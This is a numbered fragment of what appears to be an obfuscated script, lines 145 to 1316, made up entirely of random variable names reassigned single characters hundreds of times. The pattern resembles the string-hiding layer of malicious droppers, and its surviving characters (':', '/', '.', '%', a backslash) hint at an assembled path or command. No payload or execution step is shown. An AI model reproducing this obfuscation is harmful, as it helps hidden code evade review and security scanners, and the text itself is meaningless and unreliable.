145	qxfnrqnmc = "k";
146	qxfnrqnmc = "w";
147	qxfnrqnmc = "h";
148	qxfnrqnmc = "M";
149	qxfnrqnmc = "X";
150	qxfnrqnmc = "G";
151	qxfnrqnmc = "Q";
152	qxfnrqnmc = "m";
153	qxfnrqnmc = "W";
154	qxfnrqnmc = "g";
155	qxfnrqnmc = "E";
156	qxfnrqnmc = "J";
157	qxfnrqnmc = "R";
158	qxfnrqnmc = "J";
159	qxfnrqnmc = "m";
160	qxfnrqnmc = "e";
161	qxfnrqnmc = "N";
162	qxfnrqnmc = "F";
163	qxfnrqnmc = "f";
164	qxfnrqnmc = "Y";
165	qxfnrqnmc = "K";
166	qxfnrqnmc = "Z";
167	qxfnrqnmc = "j";
168	qxfnrqnmc = "X";
169	qxfnrqnmc = "t";
170	qxfnrqnmc = "Q";
171	qxfnrqnmc = "N";
172	qxfnrqnmc = "j";
173	qxfnrqnmc = "S";
174	qxfnrqnmc = "k";
175	qxfnrqnmc = "g";
176	qxfnrqnmc = "W";
177	qxfnrqnmc = "Y";
178	qxfnrqnmc = "g";
179	qxfnrqnmc = "e";
180	qxfnrqnmc = "G";
181	qxfnrqnmc = "r";
182	qxfnrqnmc = "4";
183	ppehiv = "z";
184	ppehiv = "T";
185	ppehiv = "k";
186	ppehiv = "w";
187	ppehiv = "v";
188	ppehiv = "Q";
189	ppehiv = "Y";
190	ppehiv = "u";
191	ppehiv = "n";
192	kvlnj = "N";
193	kvlnj = "G";
194	kvlnj = "a";
195	kvlnj = "Q";
196	kvlnj = "A";
197	kvlnj = "f";
198	kvlnj = "E";
199	kvlnj = "Q";
200	kvlnj = "A";
201	kvlnj = "c";
202	kvlnj = "f";
203	kvlnj = "X";
204	kvlnj = "F";
205	kvlnj = "p";
206	kvlnj = "F";
207	kvlnj = "a";
208	kvlnj = "P";
209	kvlnj = "m";
210	kvlnj = "g";
211	kvlnj = "F";
212	kvlnj = "u";
213	kvlnj = "N";
214	kvlnj = "g";
215	kvlnj = "w";
216	kvlnj = "r";
217	kvlnj = "v";
218	kvlnj = "l";
219	kvlnj = "B";
220	kvlnj = "D";
221	kvlnj = "F";
222	kvlnj = "X";
223	kvlnj = "d";
224	kvlnj = "X";
225	kvlnj = "J";
226	kvlnj = "F";
227	kvlnj = "w";
228	kvlnj = "F";
229	kvlnj = "u";
230	zegkpu = "s";
231	zegkpu = "b";
232	zegkpu = "u";
233	zegkpu = "V";
234	zegkpu = "q";
235	zegkpu = "Z";
236	zegkpu = "i";
237	zegkpu = "l";
238	zegkpu = "e";
239	zegkpu = "z";
240	zegkpu = "C";
241	zegkpu = "R";
242	zegkpu = "V";
243	zegkpu = "p";
244	zegkpu = "g";
245	zegkpu = "k";
246	zegkpu = "Q";
247	zegkpu = "g";
248	zegkpu = "C";
249	zegkpu = "V";
250	zegkpu = "D";
251	zegkpu = "g";
252	zegkpu = "T";
253	zegkpu = "u";
254	zegkpu = "c";
255	zegkpu = "R";
256	zegkpu = "G";
257	zegkpu = "Z";
258	zegkpu = "C";
259	zegkpu = "V";
260	zegkpu = "h";
261	zegkpu = "C";
262	zegkpu = "Y";
263	zegkpu = "Q";
264	zegkpu = "V";
265	zegkpu = "n";
266	zegkpu = "i";
267	zegkpu = "L";
268	zegkpu = "y";
269	zegkpu = "u";
270	zegkpu = "U";
271	rsrolwgn = "i";
272	rsrolwgn = "K";
273	rsrolwgn = "F";
274	rsrolwgn = "X";
275	rsrolwgn = "R";
276	rsrolwgn = "Q";
277	rsrolwgn = "K";
278	rsrolwgn = "J";
279	rsrolwgn = "S";
280	rsrolwgn = "s";
281	rsrolwgn = "h";
282	rsrolwgn = "E";
283	rsrolwgn = "m";
284	rsrolwgn = "y";
285	rsrolwgn = "H";
286	kggvf = "Y";
287	kggvf = "b";
288	kggvf = "a";
289	kggvf = "N";
290	kggvf = "b";
291	kggvf = "C";
292	kggvf = "G";
293	kggvf = "e";
294	kggvf = "z";
295	kggvf = "W";
296	kggvf = "e";
297	kggvf = "C";
298	kggvf = "g";
299	kggvf = "T";
300	kggvf = "Q";
301	kggvf = "P";
302	zawdsqs = "M";
303	zawdsqs = "X";
304	zawdsqs = "P";
305	zawdsqs = "M";
306	zawdsqs = "z";
307	zawdsqs = "O";
308	zawdsqs = "i";
309	zawdsqs = "s";
310	zawdsqs = "f";
311	zawdsqs = "V";
312	zawdsqs = "p";
313	zawdsqs = "u";
314	zawdsqs = "h";
315	zawdsqs = "h";
316	zawdsqs = "j";
317	zawdsqs = "C";
318	zawdsqs = "a";
319	zawdsqs = "s";
320	zawdsqs = "p";
321	zawdsqs = "T";
322	zawdsqs = "z";
323	zawdsqs = "l";
324	jckeslz = "X";
325	jckeslz = "W";
326	jckeslz = "w";
327	jckeslz = "E";
328	jckeslz = "p";
329	jckeslz = "j";
330	jckeslz = "k";
331	jckeslz = "I";
332	jckeslz = "H";
333	jckeslz = "t";
334	jckeslz = "h";
335	jckeslz = "H";
336	jckeslz = "w";
337	jckeslz = "w";
338	jckeslz = "u";
339	jckeslz = "R";
340	jckeslz = "N";
341	jckeslz = "t";
342	jckeslz = "C";
343	jckeslz = "t";
344	jckeslz = "s";
345	jckeslz = "A";
346	jckeslz = "d";
347	jckeslz = "b";
348	jckeslz = "o";
349	jckeslz = "v";
350	jckeslz = "v";
351	jckeslz = "E";
352	jckeslz = "O";
353	jckeslz = "t";
354	jckeslz = "P";
355	jckeslz = "R";
356	jckeslz = "j";
357	jckeslz = "w";
358	jckeslz = "U";
359	jckeslz = "C";
360	qvpppt = "A";
361	qvpppt = "e";
362	qvpppt = "n";
363	qvpppt = "p";
364	qvpppt = "j";
365	qvpppt = "Z";
366	qvpppt = "D";
367	qvpppt = "n";
368	qvpppt = "F";
369	qvpppt = "v";
370	qvpppt = "S";
371	qvpppt = "e";
372	qvpppt = "d";
373	qvpppt = "Z";
374	qvpppt = "T";
375	qvpppt = "h";
376	qvpppt = "E";
377	qvpppt = "R";
378	qvpppt = "p";
379	qvpppt = "t";
380	qvpppt = "Q";
381	qvpppt = "o";
382	qvpppt = "U";
383	qvpppt = "a";
384	qvpppt = "X";
385	qvpppt = "b";
386	qvpppt = "m";
387	qvpppt = "v";
388	qvpppt = "j";
389	qvpppt = "Q";
390	qvpppt = "q";
391	qvpppt = "H";
392	qvpppt = "M";
393	qvpppt = "w";
394	qvpppt = "\\";
395	ujrwjckc = "G";
396	ujrwjckc = "w";
397	ujrwjckc = "s";
398	ujrwjckc = "a";
399	ujrwjckc = "b";
400	ujrwjckc = "j";
401	ujrwjckc = "z";
402	ujrwjckc = "B";
403	ujrwjckc = "t";
404	ujrwjckc = "k";
405	ujrwjckc = "H";
406	ujrwjckc = "t";
407	ujrwjckc = "V";
408	ujrwjckc = "z";
409	ujrwjckc = "y";
410	ujrwjckc = "R";
411	ujrwjckc = "D";
412	ujrwjckc = "f";
413	ujrwjckc = "Y";
414	ujrwjckc = "h";
415	aremyrbs = "D";
416	aremyrbs = "0";
417	ahebpb = "Y";
418	ahebpb = "x";
419	ahebpb = "h";
420	ahebpb = "h";
421	ahebpb = "F";
422	ahebpb = "a";
423	ahebpb = "Q";
424	ahebpb = "x";
425	ahebpb = "A";
426	ahebpb = "D";
427	ahebpb = "x";
428	ahebpb = "G";
429	ahebpb = "k";
430	ahebpb = "I";
431	ahebpb = "z";
432	ahebpb = "B";
433	ahebpb = "y";
434	ahebpb = "a";
435	ahebpb = "m";
436	ahebpb = "r";
437	ahebpb = "W";
438	ahebpb = "o";
439	ahebpb = "C";
440	ahebpb = "x";
441	ahebpb = "f";
442	ahebpb = "e";
443	ahebpb = "Q";
444	ahebpb = "v";
445	ahebpb = "m";
446	ahebpb = "I";
447	ahebpb = "o";
448	ahebpb = "i";
449	ahebpb = "K";
450	kixygdos = "Z";
451	kixygdos = "I";
452	kixygdos = "m";
453	kixygdos = "b";
454	kixygdos = "W";
455	kixygdos = "o";
456	kixygdos = "A";
457	kixygdos = "A";
458	kixygdos = "f";
459	kixygdos = "n";
460	kixygdos = "h";
461	kixygdos = "r";
462	kixygdos = "G";
463	kixygdos = "Z";
464	kixygdos = "J";
465	kixygdos = "s";
466	kixygdos = "G";
467	kixygdos = "C";
468	kixygdos = "q";
469	kixygdos = "U";
470	kixygdos = "I";
471	kixygdos = "C";
472	kixygdos = "o";
473	kixygdos = "t";
474	kixygdos = "m";
475	kixygdos = "F";
476	kixygdos = "J";
477	kixygdos = "C";
478	kixygdos = "a";
479	kixygdos = "O";
480	kixygdos = "V";
481	kixygdos = "o";
482	kixygdos = "N";
483	kixygdos = "I";
484	kixygdos = "i";
485	kixygdos = "u";
486	kixygdos = "p";
487	kixygdos = "S";
488	pqgrb = "d";
489	pqgrb = "t";
490	efjschbz = "W";
491	efjschbz = "S";
492	efjschbz = "o";
493	efjschbz = "o";
494	efjschbz = "J";
495	efjschbz = "v";
496	phqqxhdk = "J";
497	phqqxhdk = "x";
498	phqqxhdk = "z";
499	phqqxhdk = "O";
500	phqqxhdk = "p";
501	phqqxhdk = "z";
502	phqqxhdk = "q";
503	phqqxhdk = "K";
504	phqqxhdk = "E";
505	phqqxhdk = "e";
506	phqqxhdk = "j";
507	phqqxhdk = "s";
508	phqqxhdk = "c";
509	phqqxhdk = "U";
510	phqqxhdk = "b";
511	phqqxhdk = "y";
512	phqqxhdk = "K";
513	phqqxhdk = "k";
514	phqqxhdk = "s";
515	phqqxhdk = "u";
516	phqqxhdk = "g";
517	phqqxhdk = "R";
518	phqqxhdk = "d";
519	phqqxhdk = "z";
520	phqqxhdk = "F";
521	phqqxhdk = "t";
522	phqqxhdk = "B";
523	phqqxhdk = "_";
524	rlnlk = "i";
525	rlnlk = "F";
526	rlnlk = "J";
527	rlnlk = "Y";
528	rlnlk = "H";
529	rlnlk = "N";
530	rlnlk = "c";
531	rlnlk = "d";
532	rlnlk = "O";
533	rlnlk = "l";
534	rlnlk = "a";
535	rlnlk = "i";
536	rlnlk = "E";
537	rlnlk = "Z";
538	rlnlk = "R";
539	rlnlk = "k";
540	rlnlk = "h";
541	rlnlk = "y";
542	rlnlk = "j";
543	rlnlk = "U";
544	rlnlk = "e";
545	rlnlk = "f";
546	rlnlk = "R";
547	zvetvi = "D";
548	zvetvi = "Q";
549	zvetvi = "F";
550	zvetvi = "G";
551	zvetvi = "z";
552	zvetvi = "v";
553	zvetvi = "X";
554	zvetvi = "x";
555	zvetvi = "M";
556	zvetvi = "t";
557	zvetvi = "G";
558	zvetvi = "i";
559	zvetvi = "e";
560	zvetvi = "k";
561	zvetvi = "z";
562	zvetvi = "O";
563	zvetvi = "c";
564	zvetvi = "w";
565	zvetvi = "u";
566	zvetvi = "c";
567	zvetvi = "F";
568	zvetvi = "k";
569	zvetvi = "l";
570	zvetvi = "F";
571	zvetvi = "i";
572	zvetvi = "G";
573	zvetvi = "R";
574	zvetvi = "c";
575	zvetvi = "m";
576	zvetvi = "J";
577	zvetvi = "X";
578	zvetvi = "f";
579	zvetvi = "Q";
580	zvetvi = "D";
581	zvetvi = "b";
582	zvetvi = "c";
583	zvetvi = "n";
584	zvetvi = "q";
585	zvetvi = "C";
586	zvetvi = "V";
587	zvetvi = "n";
588	zvetvi = "r";
589	jwcdfw = "m";
590	jwcdfw = "l";
591	jwcdfw = "f";
592	jwcdfw = "R";
593	jwcdfw = "d";
594	jwcdfw = "b";
595	jwcdfw = "M";
596	jwcdfw = "E";
597	jwcdfw = "n";
598	jwcdfw = "P";
599	jwcdfw = "I";
600	jwcdfw = "T";
601	jwcdfw = "d";
602	jwcdfw = "n";
603	jwcdfw = "d";
604	jwcdfw = "J";
605	jwcdfw = "N";
606	jwcdfw = "F";
607	jwcdfw = "I";
608	jwcdfw = "L";
609	jwcdfw = "D";
610	jwcdfw = "h";
611	jwcdfw = "U";
612	jwcdfw = "m";
613	ontimfrfe = "y";
614	ontimfrfe = "g";
615	ontimfrfe = "i";
616	ontimfrfe = "v";
617	ontimfrfe = "A";
618	ontimfrfe = "T";
619	ontimfrfe = "x";
620	ontimfrfe = "x";
621	ontimfrfe = "c";
622	ontimfrfe = "U";
623	ontimfrfe = "t";
624	ontimfrfe = "n";
625	ontimfrfe = "w";
626	ontimfrfe = "F";
627	ontimfrfe = "Q";
628	ontimfrfe = "c";
629	ontimfrfe = "S";
630	ontimfrfe = "g";
631	ontimfrfe = "g";
632	ontimfrfe = "V";
633	ontimfrfe = "W";
634	ontimfrfe = "q";
635	ontimfrfe = "Y";
636	ontimfrfe = "v";
637	ontimfrfe = "Z";
638	ontimfrfe = "d";
639	ontimfrfe = "z";
640	ontimfrfe = "H";
641	ontimfrfe = "x";
642	ontimfrfe = "I";
643	xkeou = "d";
644	xkeou = "Y";
645	xkeou = "c";
646	xkeou = "g";
647	xkeou = "t";
648	xkeou = "m";
649	xkeou = "k";
650	xkeou = "g";
651	xkeou = "V";
652	xkeou = "O";
653	xkeou = "z";
654	xkeou = "H";
655	xkeou = "e";
656	xkeou = "t";
657	xkeou = "p";
658	xkeou = "q";
659	xkeou = "n";
660	xkeou = "r";
661	xkeou = "d";
662	xkeou = "l";
663	xkeou = "A";
664	xkeou = "d";
665	xkeou = "Z";
666	xkeou = "E";
667	xkeou = "C";
668	xkeou = "O";
669	xkeou = "o";
670	xkeou = "x";
671	xkeou = "j";
672	xkeou = "r";
673	xkeou = "N";
674	xkeou = "v";
675	xkeou = "c";
676	xkeou = "U";
677	xkeou = "V";
678	xkeou = "c";
679	xkeou = "Z";
680	xkeou = "C";
681	xkeou = "N";
682	xkeou = "a";
683	xkeou = "W";
684	xkeou = ".";
685	ohztzhhc = "U";
686	ohztzhhc = "v";
687	ohztzhhc = "c";
688	ohztzhhc = "W";
689	ohztzhhc = "Z";
690	ohztzhhc = "g";
691	ohztzhhc = "I";
692	ohztzhhc = "O";
693	ohztzhhc = "S";
694	ohztzhhc = "b";
695	ohztzhhc = "G";
696	ohztzhhc = "r";
697	ohztzhhc = "s";
698	ohztzhhc = "p";
699	ohztzhhc = "q";
700	ohztzhhc = "T";
701	ohztzhhc = "O";
702	ohztzhhc = "s";
703	ohztzhhc = "e";
704	ohztzhhc = "W";
705	ohztzhhc = "E";
706	ohztzhhc = "T";
707	ohztzhhc = "z";
708	ohztzhhc = "A";
709	ohztzhhc = "f";
710	ohztzhhc = "e";
711	ohztzhhc = "E";
712	ohztzhhc = "N";
713	zbnkn = "E";
714	zbnkn = "t";
715	zbnkn = "w";
716	zbnkn = "K";
717	zbnkn = "n";
718	zbnkn = "w";
719	zbnkn = "F";
720	zbnkn = "l";
721	zbnkn = "i";
722	zbnkn = "u";
723	zbnkn = "v";
724	zbnkn = "Z";
725	zbnkn = "U";
726	zbnkn = "Q";
727	zbnkn = "W";
728	zbnkn = "v";
729	zbnkn = "F";
730	zbnkn = "A";
731	zbnkn = "v";
732	zbnkn = "Q";
733	zbnkn = "t";
734	zbnkn = "Q";
735	zbnkn = "x";
736	zbnkn = "V";
737	zbnkn = "I";
738	zbnkn = "D";
739	zbnkn = "K";
740	zbnkn = "o";
741	zbnkn = "a";
742	zbnkn = "E";
743	zbnkn = "c";
744	zbnkn = "w";
745	zbnkn = "N";
746	zbnkn = "N";
747	zbnkn = "n";
748	zbnkn = "5";
749	jakqdwn = "i";
750	jakqdwn = "z";
751	jakqdwn = "S";
752	jakqdwn = "s";
753	jakqdwn = "Q";
754	jakqdwn = "L";
755	jakqdwn = "r";
756	jakqdwn = "c";
757	jakqdwn = "B";
758	jakqdwn = "U";
759	jakqdwn = "Z";
760	jakqdwn = "s";
761	jakqdwn = "K";
762	jakqdwn = "b";
763	jakqdwn = "F";
764	jakqdwn = "D";
765	jakqdwn = "x";
766	jakqdwn = "q";
767	jakqdwn = "9";
768	brjsg = "N";
769	brjsg = "p";
770	brjsg = "S";
771	brjsg = "m";
772	brjsg = "p";
773	brjsg = "G";
774	brjsg = "G";
775	brjsg = "C";
776	brjsg = "k";
777	brjsg = "/";
778	pzoksnjh = "d";
779	pzoksnjh = "V";
780	pzoksnjh = "W";
781	pzoksnjh = "J";
782	pzoksnjh = "g";
783	pzoksnjh = "t";
784	pzoksnjh = "-";
785	ywymole = "x";
786	ywymole = "r";
787	ywymole = "H";
788	ywymole = "R";
789	ywymole = "a";
790	ywymole = "G";
791	ywymole = "Q";
792	ywymole = "r";
793	ywymole = "o";
794	ywymole = "I";
795	ywymole = "G";
796	ywymole = "a";
797	ywymole = "E";
798	ywymole = "y";
799	ywymole = "Y";
800	ywymole = "f";
801	ywymole = "D";
802	ywymole = "o";
803	ywymole = "E";
804	ywymole = "I";
805	ywymole = "l";
806	ywymole = "z";
807	ywymole = "i";
808	ywymole = "O";
809	ywymole = "N";
810	ywymole = "W";
811	ywymole = "W";
812	ywymole = "s";
813	ywymole = "t";
814	ywymole = "w";
815	ywymole = "2";
816	vcbdm = "C";
817	vcbdm = "p";
818	vcbdm = "i";
819	vcbdm = "I";
820	vcbdm = "Y";
821	vcbdm = "Q";
822	vcbdm = "C";
823	vcbdm = "D";
824	vcbdm = "r";
825	vcbdm = "v";
826	vcbdm = "K";
827	vcbdm = "j";
828	vcbdm = "o";
829	vcbdm = "I";
830	vcbdm = "t";
831	vcbdm = "L";
832	vcbdm = "F";
833	vcbdm = "g";
834	vcbdm = "F";
835	vcbdm = "t";
836	vcbdm = "y";
837	vcbdm = "l";
838	vcbdm = "y";
839	vcbdm = "i";
840	vcbdm = "j";
841	vcbdm = "Z";
842	vcbdm = "b";
843	slepyek = "i";
844	slepyek = "h";
845	slepyek = "f";
846	slepyek = "U";
847	slepyek = "t";
848	slepyek = "u";
849	slepyek = "X";
850	slepyek = "M";
851	slepyek = "r";
852	slepyek = "Z";
853	slepyek = "J";
854	slepyek = "v";
855	slepyek = "r";
856	slepyek = "T";
857	slepyek = "N";
858	slepyek = "x";
859	slepyek = "D";
860	slepyek = "y";
861	slepyek = "l";
862	slepyek = "l";
863	slepyek = "r";
864	slepyek = "l";
865	slepyek = "g";
866	slepyek = "V";
867	slepyek = "o";
868	slepyek = "i";
869	slepyek = "S";
870	slepyek = "x";
871	slepyek = "L";
872	slepyek = "8";
873	vewxeurco = "K";
874	vewxeurco = "K";
875	vewxeurco = "U";
876	vewxeurco = "L";
877	vewxeurco = "E";
878	vewxeurco = "O";
879	vewxeurco = "X";
880	vewxeurco = "Y";
881	vewxeurco = "a";
882	vewxeurco = "x";
883	vewxeurco = "F";
884	vewxeurco = "U";
885	vewxeurco = "B";
886	vewxeurco = "f";
887	vewxeurco = "i";
888	vewxeurco = "h";
889	vewxeurco = "q";
890	yfyvbf = "p";
891	yfyvbf = "b";
892	yfyvbf = "f";
893	yfyvbf = "u";
894	yfyvbf = "k";
895	yfyvbf = "l";
896	yfyvbf = "i";
897	yfyvbf = "R";
898	yfyvbf = "N";
899	yfyvbf = "W";
900	yfyvbf = "c";
901	yfyvbf = "G";
902	yfyvbf = "e";
903	yfyvbf = "R";
904	yfyvbf = "F";
905	yfyvbf = "S";
906	yfyvbf = "g";
907	cjglvori = "b";
908	cjglvori = "n";
909	cjglvori = "Q";
910	cjglvori = "E";
911	cjglvori = "c";
912	cjglvori = "Z";
913	cjglvori = "w";
914	cjglvori = "x";
915	cjglvori = "Y";
916	cjglvori = "R";
917	cjglvori = "y";
918	cjglvori = "g";
919	cjglvori = "D";
920	cjglvori = "W";
921	cjglvori = "v";
922	cjglvori = "m";
923	cjglvori = "S";
924	cjglvori = "M";
925	cjglvori = "H";
926	cjglvori = "n";
927	cjglvori = "D";
928	cjglvori = "f";
929	cjglvori = "D";
930	cjglvori = "k";
931	cjglvori = "l";
932	cjglvori = "C";
933	cjglvori = "g";
934	cjglvori = "U";
935	cjglvori = "e";
936	kbsgiwpv = "b";
937	kbsgiwpv = "Q";
938	kbsgiwpv = "c";
939	kbsgiwpv = "J";
940	kbsgiwpv = "b";
941	kbsgiwpv = ":";
942	pozpqea = "U";
943	pozpqea = "c";
944	pozpqea = "U";
945	pozpqea = "D";
946	pozpqea = "B";
947	pozpqea = "u";
948	pozpqea = "L";
949	pozpqea = "d";
950	iqgra = "f";
951	iqgra = "i";
952	iqgra = "L";
953	iqgra = "f";
954	iqgra = "u";
955	iqgra = "U";
956	iqgra = "I";
957	iqgra = "G";
958	iqgra = "H";
959	iqgra = "q";
960	iqgra = "m";
961	iqgra = "D";
962	iqgra = "f";
963	iqgra = "K";
964	iqgra = "g";
965	iqgra = "S";
966	iqgra = "e";
967	iqgra = "z";
968	iqgra = "V";
969	iqgra = "J";
970	iqgra = "D";
971	iqgra = "C";
972	iqgra = "Y";
973	iqgra = "m";
974	iqgra = "C";
975	iqgra = "X";
976	iqgra = "o";
977	debgnyp = "s";
978	debgnyp = "k";
979	debgnyp = "w";
980	debgnyp = "m";
981	debgnyp = "T";
982	debgnyp = "J";
983	debgnyp = "R";
984	debgnyp = "Y";
985	debgnyp = "o";
986	debgnyp = "X";
987	debgnyp = "Y";
988	nhukcrz = "k";
989	nhukcrz = "l";
990	nhukcrz = "Z";
991	nhukcrz = "m";
992	nhukcrz = "W";
993	nhukcrz = "Y";
994	nhukcrz = "J";
995	nhukcrz = "a";
996	nhukcrz = "Z";
997	nhukcrz = "C";
998	nhukcrz = "i";
999	nhukcrz = "B";
1000	nhukcrz = "q";
1001	nhukcrz = "Q";
1002	nhukcrz = "k";
1003	nhukcrz = "I";
1004	nhukcrz = "w";
1005	nhukcrz = "t";
1006	nhukcrz = "S";
1007	nhukcrz = "Z";
1008	nhukcrz = "z";
1009	nhukcrz = "I";
1010	nhukcrz = "m";
1011	nhukcrz = "G";
1012	nhukcrz = "V";
1013	nhukcrz = "R";
1014	nhukcrz = "b";
1015	nhukcrz = "T";
1016	nhukcrz = "e";
1017	nhukcrz = "V";
1018	nhukcrz = "v";
1019	nhukcrz = "n";
1020	nhukcrz = "C";
1021	nhukcrz = "f";
1022	nhukcrz = "m";
1023	nhukcrz = "Z";
1024	nhukcrz = "w";
1025	cguzrvlv = "K";
1026	cguzrvlv = "R";
1027	cguzrvlv = "v";
1028	cguzrvlv = "L";
1029	cguzrvlv = "N";
1030	cguzrvlv = "F";
1031	cguzrvlv = "K";
1032	cguzrvlv = "K";
1033	cguzrvlv = "D";
1034	cguzrvlv = "k";
1035	cguzrvlv = "a";
1036	cguzrvlv = "S";
1037	cguzrvlv = "Y";
1038	cguzrvlv = "D";
1039	cguzrvlv = "f";
1040	cguzrvlv = "E";
1041	cguzrvlv = "g";
1042	cguzrvlv = "H";
1043	cguzrvlv = "m";
1044	cguzrvlv = "Z";
1045	cguzrvlv = "r";
1046	cguzrvlv = "Q";
1047	cguzrvlv = "H";
1048	cguzrvlv = "u";
1049	cguzrvlv = "u";
1050	cguzrvlv = "N";
1051	cguzrvlv = "b";
1052	cguzrvlv = "j";
1053	cguzrvlv = "L";
1054	cguzrvlv = "c";
1055	phaodak = "O";
1056	jqxcfkfhi = "o";
1057	jqxcfkfhi = "I";
1058	jqxcfkfhi = "B";
1059	jqxcfkfhi = "U";
1060	jqxcfkfhi = "d";
1061	jqxcfkfhi = "r";
1062	jqxcfkfhi = "y";
1063	jqxcfkfhi = "W";
1064	jqxcfkfhi = "G";
1065	jqxcfkfhi = "Z";
1066	jqxcfkfhi = "R";
1067	jqxcfkfhi = "L";
1068	jqxcfkfhi = "K";
1069	jqxcfkfhi = "z";
1070	jqxcfkfhi = "N";
1071	jqxcfkfhi = "A";
1072	jqxcfkfhi = "J";
1073	jqxcfkfhi = "h";
1074	jqxcfkfhi = "K";
1075	jqxcfkfhi = "v";
1076	jqxcfkfhi = "u";
1077	jqxcfkfhi = "B";
1078	jqxcfkfhi = "V";
1079	jqxcfkfhi = "E";
1080	jqxcfkfhi = "r";
1081	jqxcfkfhi = "z";
1082	jqxcfkfhi = "O";
1083	jqxcfkfhi = "G";
1084	jqxcfkfhi = "W";
1085	jqxcfkfhi = "b";
1086	jqxcfkfhi = "k";
1087	jqxcfkfhi = "v";
1088	jqxcfkfhi = " ";
1089	vgcuebl = "x";
1090	vgcuebl = "K";
1091	vgcuebl = "j";
1092	bbrapche = "N";
1093	bbrapche = "N";
1094	bbrapche = "G";
1095	bbrapche = "e";
1096	bbrapche = "I";
1097	bbrapche = "Y";
1098	bbrapche = "z";
1099	bbrapche = "q";
1100	bbrapche = "d";
1101	bbrapche = "k";
1102	bbrapche = "U";
1103	bbrapche = "s";
1104	bbrapche = "i";
1105	bbrapche = "F";
1106	bbrapche = "Q";
1107	bbrapche = "W";
1108	bbrapche = "p";
1109	bbrapche = "B";
1110	bbrapche = "i";
1111	bbrapche = "x";
1112	bbrapche = "v";
1113	bbrapche = "h";
1114	bbrapche = "k";
1115	bbrapche = "H";
1116	bbrapche = "W";
1117	bbrapche = "a";
1118	bbrapche = "b";
1119	bbrapche = "B";
1120	bbrapche = "B";
1121	bbrapche = "g";
1122	bbrapche = "T";
1123	bbrapche = "x";
1124	bbrapche = "W";
1125	neain = "B";
1126	neain = "r";
1127	neain = "D";
1128	neain = "G";
1129	neain = "O";
1130	neain = "c";
1131	neain = "e";
1132	neain = "o";
1133	neain = "l";
1134	neain = "Y";
1135	neain = "B";
1136	neain = "k";
1137	neain = "S";
1138	neain = "U";
1139	neain = "J";
1140	neain = "f";
1141	neain = "z";
1142	neain = "j";
1143	neain = "J";
1144	neain = "o";
1145	neain = "T";
1146	vqiiir = "B";
1147	vqiiir = "b";
1148	vqiiir = "a";
1149	vqiiir = "x";
1150	vqiiir = "U";
1151	vqiiir = "p";
1152	vqiiir = "T";
1153	vqiiir = "C";
1154	vqiiir = "L";
1155	vqiiir = "I";
1156	vqiiir = "J";
1157	vqiiir = "m";
1158	vqiiir = "Q";
1159	vqiiir = "p";
1160	vqiiir = "U";
1161	vqiiir = "a";
1162	vqiiir = "f";
1163	vqiiir = "g";
1164	vqiiir = "n";
1165	vqiiir = "h";
1166	vqiiir = "F";
1167	vqiiir = "r";
1168	vqiiir = "F";
1169	vqiiir = "d";
1170	vqiiir = "v";
1171	vqiiir = "A";
1172	vqiiir = "s";
1173	crzpm = "M";
1174	crzpm = "p";
1175	crzpm = "x";
1176	crzpm = "s";
1177	crzpm = "C";
1178	crzpm = "m";
1179	crzpm = "w";
1180	crzpm = "u";
1181	crzpm = "c";
1182	crzpm = "S";
1183	crzpm = "u";
1184	crzpm = "u";
1185	crzpm = "O";
1186	crzpm = "T";
1187	crzpm = "U";
1188	crzpm = "A";
1189	crzpm = "N";
1190	crzpm = "e";
1191	crzpm = "I";
1192	crzpm = "U";
1193	crzpm = "U";
1194	crzpm = "o";
1195	crzpm = "t";
1196	crzpm = "y";
1197	crzpm = "S";
1198	crzpm = "h";
1199	crzpm = "W";
1200	crzpm = "o";
1201	crzpm = "h";
1202	crzpm = "V";
1203	crzpm = "m";
1204	crzpm = "K";
1205	crzpm = "N";
1206	crzpm = "I";
1207	crzpm = "G";
1208	crzpm = "B";
1209	crzpm = "w";
1210	crzpm = "V";
1211	crzpm = "B";
1212	crzpm = "q";
1213	crzpm = "x";
1214	guvusa = "o";
1215	guvusa = "a";
1216	guvusa = "W";
1217	guvusa = "n";
1218	guvusa = "H";
1219	guvusa = "Q";
1220	guvusa = "O";
1221	guvusa = "a";
1222	guvusa = "r";
1223	guvusa = "A";
1224	guvusa = "Q";
1225	guvusa = "W";
1226	guvusa = "X";
1227	guvusa = "n";
1228	guvusa = "Q";
1229	guvusa = "H";
1230	guvusa = "G";
1231	guvusa = "x";
1232	guvusa = "P";
1233	guvusa = "A";
1234	guvusa = "F";
1235	guvusa = "d";
1236	guvusa = "j";
1237	guvusa = "e";
1238	guvusa = "A";
1239	guvusa = "n";
1240	guvusa = "x";
1241	guvusa = "I";
1242	guvusa = "t";
1243	guvusa = "z";
1244	guvusa = "c";
1245	guvusa = "l";
1246	guvusa = "W";
1247	guvusa = "m";
1248	guvusa = "g";
1249	guvusa = "m";
1250	guvusa = "k";
1251	guvusa = "q";
1252	guvusa = "p";
1253	guvusa = "F";
1254	guvusa = "%";
1255	lnogm = "E";
1256	lnogm = "Z";
1257	lnogm = "j";
1258	lnogm = "X";
1259	lnogm = "Q";
1260	kvovypasy = "C";
1261	kvovypasy = "\"";
1262	oqpbhc = "u";
1263	oqpbhc = "F";
1264	oqpbhc = "w";
1265	oqpbhc = "s";
1266	oqpbhc = "p";
1267	oqpbhc = "R";
1268	oqpbhc = "s";
1269	oqpbhc = "D";
1270	oqpbhc = "F";
1271	oqpbhc = "i";
1272	oqpbhc = "r";
1273	oqpbhc = "C";
1274	oqpbhc = "e";
1275	oqpbhc = "k";
1276	oqpbhc = "v";
1277	oqpbhc = "S";
1278	oqpbhc = "P";
1279	oqpbhc = "K";
1280	oqpbhc = "s";
1281	oqpbhc = "w";
1282	oqpbhc = "t";
1283	oqpbhc = "t";
1284	oqpbhc = "g";
1285	oqpbhc = "J";
1286	oqpbhc = "r";
1287	oqpbhc = "z";
1288	oqpbhc = "L";
1289	oqpbhc = "1";
1290	gsmympcgg = "s";
1291	gsmympcgg = "g";
1292	gsmympcgg = "d";
1293	gsmympcgg = "q";
1294	gsmympcgg = "Q";
1295	gsmympcgg = "A";
1296	gsmympcgg = "x";
1297	gsmympcgg = "R";
1298	gsmympcgg = "l";
1299	gsmympcgg = "N";
1300	gsmympcgg = "I";
1301	gsmympcgg = "D";
1302	gsmympcgg = "S";
1303	gsmympcgg = "D";
1304	gsmympcgg = "m";
1305	gsmympcgg = "f";
1306	gsmympcgg = "k";
1307	gsmympcgg = "m";
1308	gsmympcgg = "i";
1309	gsmympcgg = "j";
1310	gsmympcgg = "z";
1311	gsmympcgg = "A";
1312	gsmympcgg = "B";
1313	gsmympcgg = "L";
1314	gsmympcgg = "E";
1315	wkggtrj = "f";
1316	wkggtrj = "R";
